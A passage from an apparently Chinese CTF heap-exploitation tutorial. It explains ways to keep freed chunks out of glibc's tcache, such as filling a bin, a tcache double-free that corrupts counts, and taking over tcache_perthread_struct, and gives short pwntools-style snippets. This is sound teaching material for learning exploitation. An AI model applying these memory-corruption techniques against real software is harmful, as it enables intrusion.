绕过 tcache

如果想让释放的 chunk 不进入 tcache 有如下方法:

  • 释放不在 tcache 大小范围的 chunk。

    1

    2

    3

    4

    5

    6

    7
    add_chunk(``0``, 0x410``)

    add_chunk(``1``, 0x10``)

    delete_chunk(``0``)

    gdb.attach(p)

    p.interactive()
  • 释放 7 个同样大小的 chunk 进入 tcache 填满对应位置的 bin。

    1

    2

    3

    4

    5

    6

    7

    8

    9

    10

    11

    12

    13
    for _ in xrange``(``7``):

        add_chunk(_, 0x68``)

    add_chunk(``7``, 0x68``)

    for _ in xrange``(``7``):

        delete_chunk(_)

    delete_chunk(``7``)

    gdb.attach(p)

    p.interactive()
  • 如果题目限制了 free 次数那么需要通过 tcache dup 再 malloc 3 次将 counts 对应位置置为 -1 来绕过 tcache 。

    1

    2

    3

    4

    5

    6

    7

    8

    9

    10

    11

    12
    add_chunk(``0``, 0x68``)

    delete_chunk(``0``)

    delete_chunk(``0``)

    add_chunk(``0``, 0x68``)

    add_chunk(``0``, 0x68``)

    add_chunk(``0``, 0x68``)

    delete_chunk(``0``)

    gdb.attach(p)

    p.interactive()
  • 控制 tcache_perthread_struct 从而控制 counts 实现绕过 tcache 。

  • 每个 thread 都会维护一个 tcache_perthread_struct ,它是整个 tcache 的管理结构,一共有 TCACHE_MAX_BINS 个计数器和 TCACHE_MAX_BINS 项 tcache_entry。这个结构在 tcache_init 函数中被初始化在堆上,大小为 0x250(高版本为 0x290)。其中数据部分前 0x40 为 counts ,剩下的为 entries 结构。如果能控制这个堆块就可以控制整个 tcache 。